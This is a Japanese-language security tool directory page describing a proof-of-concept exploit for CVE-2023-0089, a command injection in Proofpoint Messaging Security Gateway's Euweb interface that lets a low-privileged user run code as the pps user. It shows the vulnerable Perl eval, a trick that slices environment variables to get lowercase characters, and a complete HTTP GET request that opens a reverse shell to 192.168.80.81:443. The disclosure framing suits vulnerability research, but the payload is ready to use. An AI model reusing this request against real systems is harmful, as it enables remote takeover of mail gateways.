Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
proofpoint-CVE-2023-0089 — Proofpoint Email Gateway:低権限の認証ユーザーから管理者へのRCE | Kitploit
ツール/GitHubGitHub/ly1g3/proofpoint-cve-2023-0089
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubly1g3/proofpoint-cve-2023-0089

proofpoint-CVE-2023-0089

Proofpoint Email Gateway:低権限の認証ユーザーから管理者へのRCE

リポジトリを見る
112ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

セキュリティ研究者: ly1g3, ly1g3[at]tuta.io

GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

概要: Remote Code Execution - 低権限認証ユーザーから管理者RCE

CVE: CVE-2023-0089

タイムライン:

  • 発見 - ly1g3
  • 報告 - ly1g3
  • 修正 - Proofpoint

Proofpoint Messaging Security Gateway 8.18.4.73-8.18.4.73

Proofpoint Messaging Security Gateway のエクスプロイト

リモートコード実行 (RCE)

Euweb の低権限(認証済み)ユーザーが管理者権限で任意のコード実行を獲得できます。

技術詳細

Euwebutils.pm の getMsgType 関数はコマンドインジェクションに対して脆弱です。$module 変数はGETパラメータから取得され、このユーザー入力に対してサニタイズが適用されていません。

root@kitploit:~
sub getMsgType {
...
else {
		$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
	}

この getMsgType 関数は Euweb アプリケーションで使用される多くのAPIコールで利用されるため、エクスプロイトは様々な方法でトリガーできます。

すべての文字が大文字でなければならないため、環境変数を使用して小文字の制限を回避できます。例: b の代わりに ${SHELL:1:1}

use strict が使用されているため、MAIL_GENERAL() を文字列の先頭に追加して PROOFPOINT_MAIL_REPORT_MSGTYPE_ を完成させることができます。この後にカスタムPerlコードを追加できます。

エンコードされていないペイロード例: MAIL_GENERAL();`id`

POC

小文字制限を回避するために環境変数を使用してエンコードされたリバースシェル。コードは pps ユーザーとして実行。

root@kitploit:~
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`
ツールをダウンロード